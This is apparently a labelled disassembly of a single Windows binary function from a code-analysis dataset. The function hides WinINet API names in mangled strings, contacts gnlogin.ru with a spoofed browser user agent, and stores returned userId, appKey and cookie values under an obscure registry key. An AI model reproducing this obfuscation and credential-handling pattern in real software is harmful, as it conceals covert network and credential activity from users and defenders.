Function at 0x407345
Capabilities:
Check http status code
Set registry value

Disassembly:
mov eax, 0x43c225
call fcn.0043a99c
sub esp, 0x108
push ebx
push esi
push edi
push 0xf
pop esi
xor ebx, ebx
mov dword [ebp - 0x78], ebx
push 0x22
push str.https:__gnlogin.ru__credentialkey
lea ecx, [ebp - 0xb0]
mov dword [ebp - 0x9c], esi
mov dword [ebp - 0xa0], ebx
mov byte [ebp - 0xb0], bl
call fcn.00403404
push 0xffffffffffffffff
push ebx
mov dword [ebp - 4], ebx
push dword [ebp + 0xc]
lea ecx, [ebp - 0xb0]
call fcn.0040419e
mov dword [ebp - 0xb8], esi
mov dword [ebp - 0xbc], ebx
mov byte [ebp - 0xcc], bl
mov byte [ebp - 4], 1
mov eax, dword [ebp + 8]
cmp dword [eax + 0x28], ebx
je 0x407666
push 0x15
push str.I__nt__ernet__Ope__nA
lea ecx, [ebp - 0x68]
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x58], ebx
mov byte [ebp - 0x68], bl
call fcn.00403404
push ebx
push ebx
push ebx
push ebx
push str.Installer__compatible__MSIE_6.0b__Windows_NT_5.0__.NET_CLR_1.0.2914_
lea edi, [ebp - 0xd4]
mov byte [ebp - 4], 2
call fcn.00406b36
push eax
lea ecx, [ebp - 0x68]
call fcn.0040674a
call eax
mov dword [ebp - 0x14], eax
push ebx
push 1
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 4
call fcn.00401506
cmp dword [ebp - 0x14], ebx
je 0x40765a
push 0x13
push str.Int_ern_etO_penUrlA
lea ecx, [ebp - 0xf8]
mov dword [ebp - 0xe4], esi
mov dword [ebp - 0xe8], ebx
mov byte [ebp - 0xf8], bl
call fcn.00403404
mov byte [ebp - 4], 5
cmp dword [ebp - 0x9c], 0x10
mov eax, dword [ebp - 0xb0]
jae 0x40744d
lea eax, [ebp - 0xb0]
lea edi, [ebp - 0xdc]
mov dword [ebp + 0xc], eax
call fcn.00406b36
mov edi, eax
lea eax, [ebp - 0x114]
push eax
lea esi, [ebp - 0xf8]
call fcn.00405f96
cmp dword [eax + 0x14], 0x10
pop ecx
jb 0x407478
mov eax, dword [eax]
push eax
push dword [edi]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push ebx
push 1
lea ecx, [ebp - 0x114]
mov esi, eax
call fcn.00401506
push ebx
push 0x84403900
push 0xffffffffffffffff
push str.Accept:__
push dword [ebp + 0xc]
push dword [ebp - 0x14]
call esi
mov dword [ebp + 8], eax
push ebx
push 1
lea ecx, [ebp - 0xf8]
mov byte [ebp - 4], 7
call fcn.00401506
cmp dword [ebp + 8], ebx
je 0x40764e
mov edi, 0x20000
lea esi, [ebp - 0x1c]
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x6c], ebx
call fcn.004056d5
mov byte [ebp - 4], 8
cmp dword [ebp - 0x1c], ebx
jne 0x4074e6
push ebx
jmp 0x407648
push 0xf
pop esi
push 0x16
push str.In_te_rn_et_Re_ad_File
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x48], bl
call fcn.00403404
lea eax, [ebp - 0x4c]
push eax
mov byte [ebp - 4], 9
push dword [ebp - 0x18]
lea edi, [ebp - 0xd8]
push dword [ebp - 0x1c]
push dword [ebp + 8]
call fcn.00406b36
push eax
lea ecx, [ebp - 0x48]
call fcn.0040674a
call eax
push ebx
push 1
lea ecx, [ebp - 0x48]
mov edi, eax
mov byte [ebp - 4], 8
call fcn.00401506
cmp edi, ebx
je 0x407645
cmp dword [ebp - 0x4c], ebx
jbe 0x407559
push dword [ebp - 0x4c]
lea ecx, [ebp - 0xcc]
push dword [ebp - 0x1c]
call fcn.00403e8d
jmp 0x4074e6
push 0x13
push str.Ht_t_pQu_e_ry_InfoW
lea ecx, [ebp - 0x94]
mov dword [ebp - 0x74], 4
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x84], ebx
mov byte [ebp - 0x94], bl
call fcn.00403404
push ebx
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 4], 0xa
push 0x20000013
push dword [ebp + 8]
lea edi, [ebp - 0xd0]
mov dword [ebp - 0x78], 1
call fcn.00406b36
push eax
lea ecx, [ebp - 0x94]
call fcn.0040674a
call eax
test eax, eax
je 0x4075c7
cmp dword [ebp - 0x6c], 0xc8
mov byte [ebp + 0xf], 1
je 0x4075ca
mov byte [ebp + 0xf], bl
push ebx
push 1
lea ecx, [ebp - 0x94]
mov dword [ebp - 4], 8
call fcn.00401506
push dword [ebp - 0x1c]
call fcn.0040e47f
pop ecx
lea esi, [ebp + 8]
mov byte [ebp - 4], 4
call fcn.00406024
lea esi, [ebp - 0x14]
mov byte [ebp - 4], 1
call fcn.00406024
cmp byte [ebp + 0xf], bl
je 0x407666
cmp dword [ebp - 0xb8], 0x10
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x70], ebx
jae 0x40761d
lea eax, [ebp - 0xcc]
lea ecx, [ebp - 0x70]
push ecx
push 0x44165c
push eax
call fcn.0040ec26
add esp, 0xc
xor edi, edi
mov esi, eax
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 4], 0xb
jmp 0x407742
push dword [ebp - 0x1c]
call fcn.0040e47f
pop ecx
lea esi, [ebp + 8]
mov byte [ebp - 4], 4
call fcn.00406024
lea esi, [ebp - 0x14]
mov byte [ebp - 4], 1
call fcn.00406024
push 3
pop esi
push ebx
push 1
lea ecx, [ebp - 0xcc]
call fcn.00401506
push ebx
push 1
lea ecx, [ebp - 0xb0]
call fcn.00401506
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 8
push esi
lea ecx, [ebp - 0x68]
mov dword [ebp - 0x54], 0xf
mov dword [ebp - 0x58], ebx
mov byte [ebp - 0x68], bl
call fcn.00402b4a
lea eax, [ebp - 0x68]
mov byte [ebp - 4], 0xc
cmp eax, edi
jae 0x4076f0
cmp dword [ebp - 0x24], eax
ja 0x4076f0
sub eax, dword [ebp - 0x24]
push 0x1c
cdq
pop ecx
idiv ecx
mov esi, eax
cmp edi, dword [ebp - 0x1c]
jne 0x4076d9
lea ecx, [ebp - 0x24]
call fcn.00407e02
mov edi, dword [ebp - 0x20]
imul esi, esi, 0x1c
add esi, dword [ebp - 0x24]
mov dword [ebp + 0xc], edi
mov dword [ebp + 8], edi
mov byte [ebp - 4], 0xd
cmp edi, ebx
je 0x407719
push esi
jmp 0x407712
cmp edi, dword [ebp - 0x1c]
jne 0x407700
lea ecx, [ebp - 0x24]
call fcn.00407e02
mov edi, dword [ebp - 0x20]
mov dword [ebp + 0xc], edi
mov dword [ebp + 8], edi
mov byte [ebp - 4], 0xe
cmp edi, ebx
je 0x407719
lea eax, [ebp - 0x68]
push eax
mov ecx, edi
call fcn.00401434
lea eax, [ebp - 0x70]
push eax
push 0x44165c
add edi, 0x1c
push ebx
mov dword [ebp - 0x20], edi
call fcn.0040ec26
add esp, 0xc
push ebx
push 1
lea ecx, [ebp - 0x68]
mov esi, eax
mov byte [ebp - 4], 0xb
call fcn.00401506
cmp esi, ebx
jne 0x407698
mov esi, dword [ebp - 0x24]
mov eax, edi
sub eax, esi
push 0x1c
cdq
pop ecx
idiv ecx
cmp eax, 4
jae 0x407783
cmp esi, ebx
je 0x40777c
jmp 0x40776f
push ebx
push 1
mov ecx, esi
call fcn.00401506
add esi, 0x1c
cmp esi, edi
jne 0x407762
push dword [ebp - 0x24]
call fcn.0040e47f
pop ecx
push 2
jmp 0x407668
push 0x12
push str.SoftwareGGSQGNA_
lea ecx, [ebp - 0x94]
mov dword [ebp - 0x80], 0xf
mov dword [ebp - 0x84], ebx
mov byte [ebp - 0x94], bl
call fcn.00403404
xor edx, edx
lea ecx, [ebp - 0x94]
inc edx
lea esi, [ebp - 0x2c]
call fcn.00406c20
push ebx
push 1
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 0xf
call fcn.00401506
push 0xf
pop esi
push 6
push str.userId
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x48], bl
call fcn.00403404
push ebx
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x10
call fcn.00407be4
lea ecx, [ebp - 0x48]
lea edx, [ebp - 0x2c]
call fcn.00406c7e
push ebx
push 1
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0xf
call fcn.00401506
push 6
push str.appKey
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x48], bl
call fcn.00403404
push 1
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x11
call fcn.00407be4
lea ecx, [ebp - 0x48]
lea edx, [ebp - 0x2c]
call fcn.00406c7e
push ebx
push 1
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0xf
call fcn.00401506
push 6
push str.cookie
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x48], bl
call fcn.00403404
push 2
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x12
call fcn.00407be4
lea ecx, [ebp - 0x48]
lea edx, [ebp - 0x2c]
call fcn.00406c7e
push ebx
push 1
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0xf
call fcn.00401506
mov dword [ebp - 0x34], esi
push 3
push 0x44168c
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x48], bl
call fcn.00403404
push 3
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x13
call fcn.00407be4
lea ecx, [ebp - 0x48]
lea edx, [ebp - 0x2c]
call fcn.00406c7e
push ebx
push 1
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0xf
call fcn.00401506
push 0xe
push str.SaveCredential
lea ecx, [ebp - 0x68]
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x58], ebx
mov byte [ebp - 0x68], bl
call fcn.00403404
xor esi, esi
inc esi
mov dword [ebp + 0xc], esi
cmp byte [ebp - 0x28], bl
je 0x40790f
cmp dword [ebp - 0x54], 0x10
mov eax, dword [ebp - 0x68]
jae 0x4078fc
lea eax, [ebp - 0x68]
push 4
lea ecx, [ebp + 0xc]
push ecx
push 4
push ebx
push eax
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push ebx
push esi
lea ecx, [ebp - 0x68]
call fcn.00401506
cmp byte [ebp - 0x28], bl
je 0x407927
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [ebp - 0x24]
cmp esi, ebx
je 0x40794a
jmp 0x40793d
push ebx
push 1
mov ecx, esi
call fcn.00401506
add esi, 0x1c
cmp esi, edi
jne 0x407930
push dword [ebp - 0x24]
call fcn.0040e47f
pop ecx
xor esi, esi
inc esi
jmp 0x407669